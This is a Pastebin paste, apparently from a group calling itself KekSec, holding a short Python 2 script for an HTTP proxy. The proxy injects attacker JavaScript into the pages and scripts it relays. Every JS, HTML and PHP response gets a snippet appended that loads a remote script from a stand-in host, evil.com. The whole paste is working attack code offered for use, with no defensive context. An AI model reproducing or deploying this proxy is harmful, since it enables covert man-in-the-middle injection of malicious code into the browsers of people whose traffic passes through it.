Advertisement
KekSec

PYTHON INJECTOR PROXY

Nov 26th, 2016
610
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.12 KB | None | 0 0
  1. injectJS = "(function(){'use strict';(function(d,script){script=d.createElement('script');script.type='text/javascript';script.async=true;script.onload=function(){};script.src='http:/evil.com/campaign.js';d.getElementsByTagName('head')[0].appendChild(script)}(document))})();"
  2. injectHTML = "<html><script type='text/JavaScript'>" + injectJS + "</script></html>"
  3. '''
  4. CONNECT www.google.com:443 HTTP/1.1
  5. Host: www.google.com:443
  6. Proxy-Connection: keep-alive
  7. User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.85 Safari/537.36
  8. '''
  9.  
  10. import socket
  11. import urllib2
  12. from threading import Thread
  13.  
  14. def Server():
  15.     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  16.     print "[.] Binding to 127.0.0.1:8080..."
  17.     s.bind(("", 8080))
  18.     s.listen(10000)
  19.     while True:
  20.         (c, addr) = s.accept()
  21.         print "[+] " + addr[0] + ":" + str(addr[1]) + " connected!"
  22.         Thread(target=Handler, args=(c,addr,)).start()
  23.        
  24. def Handler(c,addr):
  25.     try:
  26.         req = c.recv(1024)
  27.         req = req.split("\r\n")
  28.         url = req[0].split(" ")[1]
  29.     except Exception, e:
  30.         print "[-] Error processing request: " + str(e)
  31.         return
  32.        
  33.     opener = urllib2.build_opener()
  34.     opener.addheaders = [('User-Agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.85 Safari/537.36')]
  35.    
  36.     try:
  37.         response = opener.open(url).read()
  38.         print "[+] " + addr[0] + ":" + str(addr[1]) + " requests " + url
  39.         if url.endswith('js'): #inject into all javascript files
  40.             print "[+] " + addr[0] + ":" + str(addr[1]) + " requested JS file! Injecting..."
  41.             c.send(response+"\r\n"+injectJS)
  42.         if url.endswith("html") or url.endswith("php") or url.endswith("/"):
  43.             print "[+] " + addr[0] + ":" + str(addr[1]) + " requested HTML file! Injecting..."
  44.             c.send(response+"\r\n"+injectHTML)
  45.         else:
  46.             c.send(response)
  47.     except Exception, e:
  48.         c.send("<b>Proxy Error: " + str(e) + "</b>")
  49.  
  50.     c.close()
  51.  
  52. if __name__=="__main__":
  53.     Server()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement